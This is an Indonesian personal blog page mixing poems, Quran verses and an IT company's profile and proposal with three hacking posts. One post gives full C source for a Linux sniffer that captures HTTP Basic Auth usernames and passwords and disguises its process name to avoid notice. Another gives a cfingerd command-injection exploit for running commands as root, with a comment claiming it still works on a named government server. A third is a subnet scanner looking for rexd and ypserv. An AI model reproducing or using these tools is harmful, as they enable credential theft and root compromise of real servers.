fag

Bukan ingin menentang takdir. Jika saya bisa menentukan bagaimana jalan cerita ini,
Saya memilih untuk tidak memiliki umur.

8:57 PM | 0 comments | Read More

Kehidupan tidak selalu manis

Allah lah yang
menciptakan langit dan bumi
dan apa-apa yang ada
di antara keduanya dalam enam hari.
Dan DIA berkuasa atas arsy.
Tiada bagi kamu
pelindung dan penolong selain dari Dia.
Maka apakah kamu tidak mengambil pelajaran?
Dia mengatur urusan dari langit ke bumi.

(As-Sajdah:4-5)

5:53 AM | 0 comments | Read More

Hanya ingin mem-post kan sesuatu

Seperti angin, tak dapat ku sentuh...tp dapat ku rasakan....

rasa manis tidak selalu mengenakkan
epidermis kulit mulai mengelupas jika umur telah menua
manakala langit berubah gelap hanya bisa meraba
otak dan badan tak kan bersatu
variasi hidup memberi warna dalam setiap detiknya
esa hanya milik TUHAN

Yogyakarta, 21 Juli 2011

12:28 AM | 0 comments | Read More

Proposal Penawaran Usaha dan Kerjasama Ar-Rizzqu

Assallamu'alaikum Warohmatulloh hi Wabarokatuh,
Salam Sejahtera,

Melalui email ini, Kami dari Ar-Rizzqu Research Labs, yang selanjutnya Kami sebut dengan Ar-Rizzqu akan memberikan penawaran kerjasama perusahaan atau instansi Bapak/Ibu. Adapun penawaran kerjasama yang Kami tawarkan yaitu dalam bidang Teknologi Informasi. Secara rinci, dapat Kami sebutkan beberapa jenis usaha yang ditawarkan, antara lain :

1. Pengadaan, perakitan, dan pemeliharaan atau maintenance komputer.
2. Perancangan, perakitan atau pemasangan dan pemeliharaan atau maintenance jaringan komputer yang dapat berupa jaringan internet, server (web server, data server, streaming server, ftp server, dll)
3. Desain web dan desain grafis.
4. Pembuatan Aplikasi tepat guna dan sistem terintregasi baik berbasis web dan desktop yang menggunakan berbagai platform sistem operasi (Windows/Linux) sesuai kebutuhan.

Bersama dengan email penawaran ini, Kami melampirkan data Company Profile terbaru dari Ar-Rizzqu.
Companny Profile Kami dapat dilihat di sini.

Demikian penawaran kerjasama yang Kami tawarkan. Atas perhatian dan waktu yang Bapak/Ibu berikan, Kami ucapkan terima kasih yang sebesar-besarnya.

Hubungi Kami
Ar-Rizzqu Research Labs
Peleman RT04 Taman Tirto, Kasihan Bantul (Depan UMY)
Yogyakarta, Indonesia
0274-6550687
085228701265
arrizzqurl@yahoo.com (email,facebook, dan twitter)

11:08 PM | 0 comments | Read More

Company Profile Ar-Rizzqu

Company Profile
An introduction to the Ar-Rizzqu Research Labs
2011



Sejarah singkat
Pada awal 2004, pendiri Ar-Rizzqu Research Labs, yaitu seorang mahasiswa tingkat awal yang mempunyai kesenangan besar terhadap komputer, mendirikan sebuah usaha personal dengan nama Anodyne Inc.

Kemudian pada awal 2011, didirikanlah Ar-Rizzqu Research Labs sebagai tempat usaha bersama dalam bidang teknologi di Indonesia. Dengan pengalaman selama lebih dari 5 tahun dalam dunia komputer, mempermudah langkah Ar-Rizzqu Research Labs dalam melakukan perkembangan usaha-nya. Tercatat telah menjalin hubungan strategic alliances dengan berbagai perusahaan dari berbagai latar belakang (IT maupun non-IT).

Saat ini Ar-Rizzqu Research Labs telah memiliki 5 bisnis unit, yaitu Servis Komputer, Suplier Komputer, Perancangan dan Pemeliharaan Jaringan Komputer, Internet Service Provider dan Penjualan Sembako. Hingga 4 bulan dari dibukanya usaha ini, Ar-Rizzqu Research Labs telah memiliki 5 anggota tim, dan memiliki kurang lebih 5 client tetap.






















VISI
“Menjadi berguna bagi ummat”
Kami mendedikasikan diri untuk berguna bagi ummat dengan bekal innovatif dan semangat yang besar dalam bidang komputer.
MISI
“Kesempurnaan”
 Menjadi teman baik sekaligus sebagai konsultan bagi pelanggan-pelanggan kami
 Memberikan pelayanan yang sempurna
 Memberikan pembelajaran bagi pelanggan-pelanggan kami serta masyarakat umum
 Membangun bersama kehidupan yang layak untuk teman-teman yang membutuhkan dengan usaha kami ini


NILAI-NILAI PERUSAHAAN
 Kerjasama
 Integritas
 Tanggung Jawab
 Perbaikan dan pengembangan diri
 Semangat
 Kecepatan
 Kesempurnaan















LAYANAN UTAMA
Ar-Rizzqu Research Labs memiliki beberapa usaha utama dan memberikan solusi yang terbaik dibidang information technology kepada pelanggan-nya.
Servis Komputer
Ar-Rizzqu Research Labs memberikan pelayanan servis komputer dan penggantian perangkat baik personal maupun corporate.
Suplier Komputer
Dengan dukungan dari beberapa distributor utama pembuat perangkat keras komputer, Ar- Rizzqu Research Labs memberikan harga yang bersaing dalam memenuhi kebutuhan komputer, baik personal maupun corporate.
Perancangan dan Pemeliharaan Jaringan Komputer
Bekal pengetahuan dan pengalaman anggota tim Ar-Rizzqu Research Labs dalam bidang Jaringan komputer, baik jaringan lokal maupun jaringan internet, memberikan pelayanan untuk penuh dalam segala jenis jaringan komputer. Mulai dari perencanaan, pemasangan, dan pemeliharaan.
Internet Service Provider
Dengan dukungan dari sebuah perusahaan skala nasional dalam bidang penyedia jasa internet, Kami memberikan layanan koneksi internet share maupun dedicated dengan berbagai pilihan paket koneksi. Suport 24 jam selama 7 hari dalam 1 minggu.
Penjualan Sembako
Untuk mendukung semua pelayanan kami baik dari segi operasional dan investasi jangka panjang, kami membuka sebuah toko penjualan sembako dan jasa pengisian pulsa.
Pembuatan Aplikasi Tepat Guna dan Sistem yang Terintregasi
Perancangan dan pembuatan serta pemeliharaan aplikasi tepat guna dan sistem terintregasi sesuai denga kebutuhan, baik berbasis web atau desktop.
Desain Grafis dan Desain Web
Desain dan pembuatan media grafis dan website.






Partner
Ar-Rizzqu Research Labs telah menjalin kerjasama strategis dengan berbagai perusahaan sebagai penunjang untuk menghadirkan pelayanan yang terbaik.
Clear-OS Indonesia : Sebuah komunitas linux server di Indonesia.
ECC : Merupakan dealer pulsa tronik
Aqua : Produsen dan Reseller Aqua galon
Dinamika Perkasa Jaya : Distributor Komputer
Advance Yogyakarta : Distributor Komputer
Gmedia Yogyakarta : Distributor penyedia layanan internet yang merupakan anak perusahaan dari Telkom, Indosat dan XL
Dan vendor-vendor lain yang tidak bisa disebutkan.

Kualifikasi Tim
Kami senantiasa meningkatkan kemampuan dengan semangat untuk maju dan berdaya saing. Tim kami memiliki kemampuan :;
 Maintenance Hardware dan Software komputer (Windows dan Unix/Linux)
 Perancangan, Pembuatan dan pemeliharaan Jaringan Komputer dengan software Mikrotik, Clear-OS, FreeBSD, Ubuntu server, Windows, dan software pendukung lain
 Perancangan, setting dan pemeliharaan server untuk berbagai keperluan, antara lain web server, file server, mail server, streaming server, VOIP server, hotspot, internet sharing, firewall, FTP server.
 Desain grafis, desain dan pemrograman web dan aplikasi tepat guna berbasis web dan desktop.
 Pembuatan Aplikasi berbasis web dan desktop dengan berbagai macam platform sesuai kebutuhan, antarai lain C/C++, Java, Visual Basic, PHP, MySql, PostgreSQL.

Portofolio Terakhir Kami
SMK Muhammadiyah 1 Klaten
Harian Suara Merdeka cabang Surakarta
BangunRumah.com
KalinegoroNet (Magelang)
KantiNet (Cepu)
CV.Kharisma Mulyatama (Yogyakarta)
Dan client lain yang tidak bisa kami sebutkan.








Hubungi Kami
Ar-Rizzqu Research Labs
Peleman RT04 Taman Tirto, Kasihan Bantul (Depan UMY)
Yogyakarta, Indonesia
0274-6550687
085228701265
arrizzqurl@yahoo.com (email,facebook, dan twitter)

11:02 PM | 0 comments | Read More

A Linux sniffer

A Linux sniffer that is designed to retrieve web usernames and passwords.
This program sniffs packets destined for webservers and scans for headers with Basic Auth. then automatically decodes the auth. string giving a username/passwd in cleartext. BUGS: In the verbose mode,source/destination headers get out of sync with data. In daemon mode, source/dest. headers may not be reliable. DISCLAIMER: Please use this program in a responsible manner.

Fiuhh....bisa juga bahasa inggriss :D langsung saja, ini code nya. pakai bahasa c.

hilangkan tanda kurung () -nya.saya kasih krn di blogspot g bisa muncul.

#include (<)stdio.h(>)
#include (<)stdlib.h(>)
#include (<)stdarg.h(>)
#include (<)sys/socket.h(>)
#include (<)sys/time.h(>)
#include (<)sys/types.h(>)
#include (<)unistd.h(>)
#include (<)sys/stat.h(>)
#include (<)fcntl.h(>)
#include (<)netinet/in.h(>)
#include (<)netdb.h(>)
#include (<)string.h(>)
#include (<)linux/if.h(>)
#include (<)signal.h(>)
#include (<)termio.h(>)
#include (<)arpa/inet.h(>)
#include (<)linux/socket.h(>)
#include (<)linux/ip.h(>)
#include (<)linux/tcp.h(>)
#include (<)linux/if_ether.h(>)
#include (<)errno.h(>)

extern int errno;

#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)

struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};

struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;

struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;

struct iphdr *ip;
struct tcphdr *tcp;

char **Argv = NULL;
char *LastArgv = NULL;

short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;

/* fungsi deklarasi */
char *lookup(unsigned long int);
char *dateTime();

/* implementasi signal*/
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;

act.sa_handler = func;

sigemptyset(&act.sa_mask);
act.sa_flags = 0;

#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif

if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);

return (oact.sa_handler);
}

/* fungsi ini mengambil proses apa saja yang jalan di terminal yang di remote*/
void detach()
{
int rc, fd;

if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}

if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}

ioctl(fd, TIOCNOTTY, 0);

close(fd);


setsid();
}

setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;

p = buf;

va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);

i = strlen(buf);

if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}

void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;

for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;

Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}

/* konversi base64 ascci ke dalam mode integer */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}

/* decoding base64 */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;

index = 0;
*(auth_buf+0)='\0';

while ( ISBLANK(buf[index] ) )
{
index++;
}

for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{

if (index==(264-5)) return;

value = cvt_ascii( buf[index] );

if ( value < 64 )
{
d->accum <<= 6;
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}

}
else
{
quit = 1;
break;
}
}

*(auth_buf+j)='\0';
return;
}


void decode(char *b64_string, char *user_buff)
{

struct BASE64_PARAMS d_p;
int quit=0;

d_p.shift = 0;
d_p.accum = 0;

base64_decode((char *)b64_string, quit, &d_p, user_buff);

return;
}


void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];

if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));


if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}

return;

}


int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];

target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);

data_buff[0]='\0';

for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}

}

}


void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day ^^ \n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}


char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;

my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}


char * dateTime()
{
time_t t;
char * s;

time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}

void bye(int sig)
{

if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}

close(sock);
exit(0);
}


int packet_filter ()
{
unsigned short port;

if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}

if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;

if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}

}
}

return(1);
}


void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer ###\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p ]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}


int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];

r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);

if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}

memset(title,'\0',sizeof(title));

verbose_mode=0;
daemon_mode=0;
user_port=0;

while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}

argsLeft=argc-optind;

if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}

if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}

sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}

strcpy(req.ifr_name, INTERFACE);

if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);

bzero(&target, sizeof(target));

for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}

scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);

}

}

4:53 AM | 0 comments | Read More

exploit finger

# this is exploits cfingerd 1.0.1
# enggakTau punyaSiapa yangPentingExploit iniMasihNyantol diServernya indonesia.go.id
# execute arbitrary commands as root.

echo "enggakTau punyaSiapa yangPentingExploit iniMasihNyantol diServernya indonesiadotgodotid "

if [ $# = 2 ]
then
finger "/W;$1;#@$2"
else
echo "$0 \"\" "
fi

4:26 AM | 0 comments | Read More

Scan a subnet for valid hosts with perl script

This is perl script for Scan a subnet for valid hosts. if given hostname, will look at the 255 possible hosts on that net. Report if host is running rexd or ypserv.

#!/usr/local/bin/perl -s
#
#
# Usage: scan n.n.n.n

# mine, by default
$default = "130.80.26";

$| = 1;

if ($v) { $verbose = 1; }

if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }

# ip address
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}

print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}

#
# Do the work
#
sub resolve {

local($name) = @_;

# ip address
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}

if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve address\n" if $verbose; }

}

sub AF_INET {2;}

3:22 AM | 0 comments | Read More

Terjemahan Surat Al-Fatihah

Ayat 1 : "Dengan nama ALLAH Yang Maha Pengasih, Maha Penyayang"

Ayat 2 : "Segala puji bagi ALLAH, TUHAN seluruh alam"

Ayat 3 : "Yang Maha Pengasih, Maha Penyayang"

Ayat 4 : "Pemilik hari pembalasan"
Penjelasan: Yaumiddin (hari pembalasan), hari waktu manusia menerima pembalasan amalnya, baik atau buruk. Disebut juga yaumul qiyamah, yaumul hisab dan sebagainya.

Ayat 5: "Hanya kepada Engkau lah kami menyembah dan hanya kepada Engkau lah kami memohon pertolongan"

Ayat 6 : "Tunjukilah kami jalan yang lurus"
Penjelasan: Jala yang lurus, yaitu jalan hidup yang benar, yang dapat membuat bahagia di dunia dan di akhirat.

Ayat 7 : "(yaitu)jalan orang-orang yang telah Engkau beri nikmat kepadanya;bukan (jalan)mereka yang dimurkai, dan bukan (pula jalan) mereka yang sesat"
Penjelasan: Mereka yang dimurkai, adalah mereka yang sengaja menentang ajaran Islam. Mereka yang sesat adalah mereka yang sengaja mengambil jalan lain selain ajaran Islam.

5:25 AM | 2 comments | Read More